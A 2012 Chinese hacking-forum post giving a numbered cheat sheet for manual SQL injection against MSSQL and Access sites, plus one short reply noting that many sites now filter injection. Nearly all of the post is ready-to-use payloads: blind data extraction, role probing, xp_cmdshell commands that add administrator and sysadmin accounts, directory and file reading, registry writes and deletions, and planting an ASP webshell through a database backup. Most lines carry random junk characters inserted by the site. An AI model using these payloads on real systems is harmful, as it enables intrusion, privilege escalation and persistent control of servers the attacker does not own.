找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 " ~" O4 s6 l$ K/ g! ~) v
1.判断是否有注入;and 1=1 ;and 1=2
. `' H7 f. [9 E$ B: _2 ^; [3 u# ^
2.初步判断是否是mssql ;and user>0 * W8 r! D* M5 }% ?

7 ?+ o( O1 G. M- V0 |* g3.注入参数是字符'and [查询条件] and ''='
4 d3 g4 ^( e1 `6 M. R5 N- M# }6 K6 N$ m6 q* d2 X, @4 o
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9 l( Z- b) X- }! Y# V# }

& P' ^2 U3 f% [0 N1 F8 ]- W3 ^0 J5.判断数据库系统
1 ?. ]0 y6 S0 z8 p3 f2 S7 f;and (select count(*) from sysobjects)>0 mssql
" _7 D) m9 c: H7 U( B- N/ a, i, x( w;and (select count(*) from msysobjects)>0 access
" [% q  k- _, u8 |. T& Q1 A, D
6.猜数据库 ;and (select Count(*) from [数据库名])>0
/ d) F% w# B, q; r. _7 [: V) {
$ W" m- X( K! U3 d# S7.猜字段 ;and (select Count(字段名) from 数据库名)>0
- M. a4 u7 z1 {& j( [: c7 [% K5 Z& q% K, L0 A2 v  _5 s! \
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
5 L3 l) r' P5 A2 {" B$ l% j0 T8 d" M7 q" X
9.(1)猜字段的ascii值(access)
7 z9 a; p5 ^5 B; v8 `;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 / _- m# x4 l( A3 n2 l) j4 o/ W: Q
" O  ]  b- g2 i! D
(2)猜字段的ascii值(mssql)
& {+ B% J5 Z! ]1 z7 T% f0 e7 L;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
, K  W* d5 g5 |" [5 i' G5 c- q8 f) g
10.测试权限结构(mssql) 7 W0 X6 v' Y! P
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
' s3 ]% P( H0 r- u;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 R, d$ q3 I/ V! M% _
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- & j4 b  @0 e8 q
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 D0 ~2 `1 u+ j1 O
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
2 P. A3 G5 F3 U" t;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
+ a% \& m' g& V: ?5 L. }$ B;and 1=(select IS_MEMBER('db_owner'));--
" k& h" b- G0 Q6 }& [( L7 ]3 S: i* q  t# C* j" A) U1 D- K
11.添加mssql和系统的帐户
* @9 w9 s! C% D, ^1 y/ _% R! P5 D;exec master.dbo.sp_addlogin username;-- 4 F, f9 v  k4 _* y8 j/ b( G; k7 [/ ~

4 d6 l' _+ l. m. p6 i" T;exec master.dbo.sp_password null,username,password;--
) _; t5 T2 j, G( u/ C* e) z3 b! n6 O, ^
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- * m  T/ H, a1 A! M' k

! {& }* B# l% z7 e  i;exec master.dbo.xp_cmdshell 'net user username password
! B+ a8 u0 M$ T& J/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
: P9 F! j% G/ q/ {% W' n" _" s, {) n4 y" ^: k/ Q
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ( |5 b4 S. y4 D- }5 |' D* S/ c
: B5 \$ ^/ E# T7 A2 }2 g( E- ~% l0 H
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) {8 {/ L1 y6 M* J) ]! y$ U3 L  t$ d, j3 c/ T
12.(1)遍历目录 - r# x( @* J& |

  e5 o0 K4 O1 ~/ `;create table dirs(paths varchar(100), id int)
# U% v8 o( C" O! L;insert dirs exec master.dbo.xp_dirtree 'c:\'
* y- W& e4 f$ }8 W;and (select top 1 paths from dirs)>0   F( k0 g; N$ `  E( `& Y# u% ]
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 5 o7 W: ?, l9 J* s1 K! m
4 F  K2 v: {% C- u; L  G, U
(2)遍历目录
( U7 u6 x! S, W;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
/ \) q# M; C& }7 {0 V1 {. e;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
! Y6 V3 R' u8 \7 Q;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
+ l* g! e. a1 A7 e, ~6 ^" L;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5 `# m$ k* \2 K' j: P- l' t9 s
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 6 B6 ~3 g% C% J. P& `7 b
5 G9 E2 Z+ P$ K& Z9 Y+ T
13.mssql中的存储过程
: o5 k# u8 J- M* T+ }0 o" E' u0 r; g$ S: c% j# h7 ~
xp_regenumvalues 注册表根键, 子键
  d, P$ \  ~) g$ a; j. K) p;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
3 @  l' d" z: {( J: C& M$ \7 A& m( R6 ?9 \7 C
xp_regread 根键,子键,键值名 * K8 ], W' X6 l  n
;exec xp_regread 9 ?5 v$ g, q* [2 y  t8 n3 l( Y
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 : L! f- R& }  a0 B  v- q: s* o; s

* X4 H3 _* G" X/ `xp_regwrite 根键,子键, 值名, 值类型, 值
+ E1 W$ t9 a. s值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 H0 q# y# f5 u% f: C;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 4 c1 ]2 I+ I- T; y: }
; c. E- T7 Z/ }. \+ \3 X+ i
xp_regdeletevalue 根键,子键,值名 / l: e8 z  w  ~- ^
0 }# k# w" r! t* D+ }% F9 Z
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
3 `0 ~! s: W  @- Y4 U8 G
9 }. @) r) w  X7 nxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
! t; O* Q6 K1 J1 U7 e# l8 r" [* E' U
) s  a! q9 F) k/ S2 ?6 z1 s14.mssql的backup创建webshell
$ }+ W' x% m5 ]6 a5 N- d& m3 Suse model ! `0 Y; r1 O' l2 x5 L  |% a
create table cmd(str image);
$ g" n% h; @  Z% N6 Winsert into cmd(str) values ('');
+ P7 r) ]/ K8 |: d; X5 `backup database model to disk='c:\l.asp'; " J/ ^0 C0 G0 O* l! t5 D
  |9 U# [9 b: D; _% {  ~0 M, E
15.mssql内置函数 6 w3 n" {+ B$ g7 K. m' ]: ]  s
;and (select @@version)>0 获得Windows的版本号
4 _& ~# |  u% ]: d/ n;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 D+ k' ]1 {4 m9 V, M;and (select user_name())>0 爆当前系统的连接用户
9 L6 X0 M0 O! x8 y4 e;and (select db_name())>0 得到当前连接的数据库 6 ]0 ~$ s' q2 q, @! q
" l  z; ^$ S' D) l4 {1 g' }! \3 m, s
16.简洁的webshell
& ?8 v) O: s) G1 J! U6 _6 f1 D+ L$ b2 x/ h. [% x+ J
use model
; Y, [: ~4 w5 F* ~+ h! O, X
% @% H6 N) h. m* S# U/ bcreate table cmd(str image); ! H( j9 ]( K) u# z" O0 i

) V% o! i) E: c1 W1 x6 M% I' Binsert into cmd(str) values ('');
8 H: \9 ~# j" \' p9 q! u" h0 b) m: J. _+ J3 E9 [0 L
backup database model to disk='g:\wwwtest\l.asp'; 2 ~& H% s6 @" W. @

6 C' W  e3 s7 I' |* A. t* c) y
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表